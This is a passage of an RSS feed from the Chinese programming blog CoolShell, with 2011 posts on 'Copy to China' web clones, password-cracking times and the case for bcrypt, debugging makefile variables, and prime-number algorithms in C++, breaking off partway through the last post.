src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3872.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>28</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>中国的C2C模式</title>\n\t\t<link>https://coolshell.cn/articles/3820.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3820.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 02 Mar 2011 00:58:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[C2C]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3820</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>C2C不是电了商务里的C2C，而是Copy to China的缩写，以前，我们以Made in China著称，现在我们会以C2C著称。toxicat制作了下面...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3820.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3820.html\">中国的C2C模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">C2C不是电了商务里的C2C，而是Copy to China的缩写，以前，我们以Made in China著称，现在我们会以C2C著称。toxicat制作了下面这个图片(<a href=\"http://9gag.com/gag/83592\" target=\"_blank\">源图</a>)，大家慢慢欣赏，我相信，如果要把所有的C2C都列上去的话，那么，可能会上很长的一个图片。还记得那篇<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\">为什么中国的网页设计那么烂？</a>吗？呵呵。何止是互联网，其它东西不也是C2C吗？</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3822\" title=\"Copy to China\" src=\"https://coolshell.cn/wp-content/uploads/2011/03/C2C_cover.jpg\" alt=\"\" width=\"489\" height=\"234\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/03/C2C_cover.jpg 698w, https://coolshell.cn/wp-content/uploads/2011/03/C2C_cover-300x144.jpg 300w, https://coolshell.cn/wp-content/uploads/2011/03/C2C_cover-563x270.jpg 563w\" sizes=\"(max-width: 489px) 100vw, 489px\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-3820\"></span><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3821\" title=\"伟大的C2C模式\" src=\"https://coolshell.cn/wp-content/uploads/2011/03/C2C.jpg\" alt=\"\" width=\"698\" height=\"5194\" /></p>\n<p style=\"text-align: left;\">————————————————</p>\n<p style=\"text-align: left;\">与此同时，<a href=\"http://cn.reuters.com/article/CNTopGenNews/idCNCHINA-3878520110301\" target=\"_blank\">路透社报道</a>: 美国将百度列入“恶名市场”名单 &#8211; 美国政府周一再次将中国最大网络搜索引擎百度列入假冒和盗版产品的年度“恶名市场”名单。美国企业界希望此名单能促使美国国会对这些“流氓网站”采取行动。（<a href=\"http://www.bbc.co.uk/zhongwen/simp/world/2011/03/110301_china_usa_trade_piracy.shtml\" target=\"_blank\">BBC</a>：与百度一同被列入此名单的还有淘宝、北京秀水街、北京海龙电脑市场、上海杨浦颐高数码城、深圳罗湖市场、香港女人街、义务小商品市场、<a href=\"http://91.com/\" target=\"_blank\">91.com</a>，以及TV Ants）</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3820.html\">中国的C2C模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3820.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>63</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>破解你的口令</title>\n\t\t<link>https://coolshell.cn/articles/3801.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3801.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 02 Mar 2011 00:35:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[bcrypt]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3801</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在网上看到一张口令破解的表格，如下所示（第一列是口令长度，第二列是全小写的口令，第三列是有大写字母的口令，第四列是又加上了数字和其它字符的口令） 如果你想知道自...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3801.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在网上看到一张口令破解的表格，如下所示（第一列是口令长度，第二列是全小写的口令，第三列是有大写字母的口令，第四列是又加上了数字和其它字符的口令）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3802\" title=\"破解你的口令所需要的时间\" src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords.png\" alt=\"\" width=\"500\" height=\"163\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords.png 500w, https://coolshell.cn/wp-content/uploads/2011/02/passwords-300x98.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>如果你想知道自己的口令花多少时间可以被破确，你可以访问下面这个网站：（<strong><em>更新2011/3/2晚10点15</em></strong>）</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://howsecureismypassword.net/\" target=\"_blank\">http://howsecureismypassword.net/</a></strong></p>\n<p>这里先说一个这里说的口令破解。一般来说用户的口令都是以MD5编码加密放在数据库里的，MD5是不可逆的，所以，当你拿到你一串被MD5后的字串，你可以使用暴力破解——穷举所有的可能口令的MD5字串，然后和数据库里的对比，比对了你就知道口令了。当然，你一定要清楚，在某些审查很严重的地方，互联网内容提供商不一定会把你的口令以MD5加密，甚至就是明文（Plain Text）保存，所以你还需要小心，关于如何设计你的口令，<a title=\"如何设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">请参看这篇文章</a>。</p>\n<p>从上面这表格我们可以看到，你的口令最好是在8个长度以上，而且一定要有在小写和数字，最好再加上其它字符，这样你的口令被破解的时候最需要463年，这样就比较安全了。当然，如果你的口令使用了一些常用的单词，那就另说了，现在破解口令一般都不会使用暴力破解，都是用一个尝用口令字典表来尝试——比如<a title=\"Twitter的禁用口令\" href=\"https://coolshell.cn/articles/2451.html\" target=\"_blank\">这篇文章所说的字典表</a>。</p>\n<p>但我提醒一下，这张表里中的时间忽略了一个问题，那就是并行，<strong>可以使用多台电脑多个进程并行破解口令</strong>，这样一来，上表中的时间就可大打折扣了。你只需要愿意花2000美刀，你就能够找到一个地方，1秒种计算7亿个口令，因为MD5，SHA这类的算法性能太好了。所以，你可能需要使用新的算法来加密你的口令，这种算法最好加上时间，也就是在算法的计算时间加长。呵呵，慢也有慢的好处。可能你需要考虑一下bcrypt算法，你<a title=\"如何防范密码被破解\" href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\">可以查看本站的这篇文章</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3801.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>44</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何调试makefile变量</title>\n\t\t<link>https://coolshell.cn/articles/3790.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3790.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Mar 2011 00:34:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[makefile]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3790</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>六、七年前写过一篇《跟我一起写Makefile》，直到今天，还有一些朋友问我一些Makefile的问题，老实说，我有一段时间没有用Makefile了，生疏了。回...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3790.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3790.html\">如何调试makefile变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>六、七年前写过一篇《<a title=\"跟我一起写Makefile\" href=\"http://blog.csdn.net/haoel/archive/2004/02/24/2886.aspx\" target=\"_blank\">跟我一起写Makefile</a>》，直到今天，还有一些朋友问我一些Makefile的问题，老实说，我有一段时间没有用Makefile了，生疏了。回顾，这几年来大家问题我的问题，其实很多时候是makefile的调试问题。所以，就像我在之前的那篇<a title=\"GDB中应该知道的几个调试方法\" href=\"https://coolshell.cn/articles/3643.html\" target=\"_blank\">关于GDB的技巧的文章</a>中做的一样，在这里向大家介绍一个小小的调试变量的技巧。相信一定对你有用。</p>\n<p>对于Makefile中的各种变量，可能是我们比较头痛的事了。我们要查看他们并不是很方便，需要修改makefile加入echo命令。这有时候很不方便。其实我们可以制作下面一个专门用来输出变量的makefile（假设名字叫：vars.mk）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n%:\n        @echo &#039;$*=$($*)&#039;\n\nd-%:\n        @echo &#039;$*=$($*)&#039;\n        @echo &#039;  origin = $(origin $*)&#039;\n        @echo &#039;   value = $(value  $*)&#039;\n        @echo &#039;  flavor = $(flavor $*)&#039;\n</pre>\n<p>这样一来，我们可以使用make命令的-f参数来查看makefile中的相关变量（包括make的内建变量，比如：COMPILE.c或MAKE_VERSION之类的）。<strong>注意：第二个以“d-”为前缀的目标可以用来打印关于这个变量更为详细的东西</strong>（后面有详细说明）<br />\n<span id=\"more-3790\"></span></p>\n<p>假设我们的makefile是这个样子（test.mk）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n\nOBJDIR := objdir\nOBJS := $(addprefix $(OBJDIR)/,foo.o bar.o baz.o)\n\nfoo = $(bar)bar = $(ugh)ugh = Huh?\n\nCFLAGS = $(include_dirs) -O\ninclude_dirs = -Ifoo -Ibar\nCFLAGS := $(CFLAGS) -Wall\n\nMYOBJ := a.o b.o c.o\nMYSRC := $(MYOBJ:.o=.c)</pre>\n<p>那么，我们可以这样进行调试：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk OBJS\nOBJS=objdir/foo.o objdir/bar.o objdir/baz.o\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-foo\nfoo=Huh?\n  origin = file\n  value = $(bar)\n  flavor = recursive\n\n[hchen@RHELSVR5]$ make -f test.mk -f var.mk d-CFLAGS\nCFLAGS=-Ifoo -Ibar -O -O\n  origin = file\n  value = -Ifoo -Ibar -O -O\n  flavor = simple\n\n[hchen@RHELSVR5]$  make -f test.mk -f var.mk d-COMPILE.c\nCOMPILE.c=cc -Ifoo -Ibar -O -Wall   -c\n  origin = default\n  flavor = recursive\n   value = $(CC) $(CFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c\n</pre>\n<p>我们可以看到：</p>\n<ul>\n<li>make的第一个-f后是要测试的makefile，第二个是我们的debug makefile。</li>\n<li>后面直接跟变量名，如果在变量名前加&#8221;d-&#8220;，则输出更为详细的东西。</li>\n</ul>\n<p>说一说&#8221;d-&#8221; 前缀（其意为details），其中调用了下面三个参数。</p>\n<ul>\n<li><span style=\"font-family: 'Courier New';\"><a style=\"font-family: 'Courier New';\" href=\"http://www.gnu.org/software/make/manual/make.html#Origin-Function\">$(origin)</a><span style=\"font-family: 'Courier New';\">：告诉你这个变量是来自哪儿，file表示文件，environment表示环境变量，还有environment override，command line，override，automatic等。</span></span></li>\n<li><span style=\"font-family: 'Courier New';\"><a href=\"http://www.gnu.org/software/make/manual/make.html#Value-Function\">$(value)</a>：打出这个变量没有被展开的样子。比如上述示例中的 foo 变量。</span></li>\n<li><span style=\"font-family: 'Courier New';\"><a href=\"http://www.gnu.org/software/make/manual/make.html#Flavor-Function\">$(flavor)</a>：有两个值，simple表示是一般展开的变量，recursive表示递归展开的变量。</span></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3790.html\">如何调试makefile变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3790.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>打印质数的各种算法</title>\n\t\t<link>https://coolshell.cn/articles/3738.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3738.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Feb 2011 01:14:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[Template]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3738</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>打印质数的算法应该是学习计算机编程的一个经典的问题，在这里想给大家展示一些方法，相信这些方法会对你的编程有一定的启发作用。请你注意几点， 实际应用和教学应用有很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3738.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>打印质数的算法应该是学习计算机编程的一个经典的问题，在这里想给大家展示一些方法，相信这些方法会对你的编程有一定的启发作用。请你注意几点，</p>\n<ul>\n<li>实际应用和教学应用有很大的差别。</li>\n<li>最后的那个使用编译时而不是运行时的方法大家可以重点看看。</li>\n</ul>\n<h4>教科书的示例</h4>\n<p>首先，先给一个教科书的示例。下面这个示例应该是教科书（至少是我上大学时的教科学）中算法复杂度最好的例子了。其想法很简单，先写一个判断是否是质数的函数isPrime()，然后从1到n分别调用isPrime()函数来检查。检查是否是质数的算法是核心，其简单的使用从2到n的开根的数作为除数。这样的算法复杂度几乎是O(n*log(n))，看上去不错，但其实很不经济。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\nusing namespace std;\n\nbool isPrime(int nr)\n{\n    for (int d = 2; (d * d) &lt; (nr + 1); ++d){\n        if (!(nr % d)){\n            return false;\n        }\n     }\n    return true;\n}\n\nint main (int argc, char * const argv[])\n{\n    for (int i = 0; i &lt; 50; ++i){\n        if (isPrime(i)){\n            cout &lt;&lt; i &lt;&lt; endl;\n        }\n    }\n}\n</pre>\n<h4><span id=\"more-3738\"></span>较好的算法</h4>\n<p>我们知道，我们的算法如果写成线性算法，也就是O(n)，已经算是不错了，但是最好的是O(Log(n))的算法，这是一个对数级的算法，著名的二分取中（Binary Search）正是O(Log(n))的算法。<strong>通常来说，O(Log(n))的算法都是以排除法做为手段的</strong>。所以，找质数的算法完全可以采用排除法的方式。如下所示，这种算法的复杂度是<em>O</em><em>(n(log(logn)))。</em></p>\n<p><strong>示例：打印30以内的质数</strong></p>\n<p>一、初始化如下列表。</p>\n<pre> 2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30</pre>\n<p>二、把第一个数（2）取出来，去掉所有可以被2整除的数。</p>\n<pre> 2  3     5     7     9    11    13    15    17    19    21    23    25    27    29</pre>\n<p>三、取第二个数（3），去掉所有可以被 3整除的数。</p>\n<pre> 2  3     5     7          11    13          17    19          23    25          29</pre>\n<p>四、取第三个数（5），因为4已经被去除了，再去掉所有可以被5整除的数。</p>\n<pre> 2  3     5     7          11    13          17    19          23                29</pre>\n<p>接下来的数是7，但是7的平方是49，其大于了30，所以我们可以停止计算了。剩下的数就是所有的质数了。</p>\n<h4>实际应用的算法</h4>\n<p>实际应用中，我们通常不会使用上述的两种算法，因为那是理论学院派的算法。实际中的算法是，我把质数事先就计算好，放在一个文件中，然后在程序启动时（注意是在启动时读这个文件，而不是运行时每调用一次就读一次文件），读取这个文件，然后打印出来就可以了。如果需要查找的化，二分查找或是hash表查找将会获得巨大的性能提升。当然，这样的方法对于空间来说比前面两个都要消耗得大，但是你可以有O(log(n))或是O(1)的时间复杂度。</p>\n<p>所以，我想在这里提醒大家——<strong>实际和理论的的方法很不一样的</strong>，千万不要读书读成书呆子。在游戏编程的世界里，大量的数据都不是运行计算的，而都是写在文件中的。比如，一个火焰效果，一个人物跑动的动作，都是事先写在文件中的。</p>\n<h4>使用编译时而不是运行时</h4>\n<p>下面这个例子（本例参考于<a href=\"http://www.intermediaware.com/blog/846/hack-of-the-day-fast-prime-numbers\" 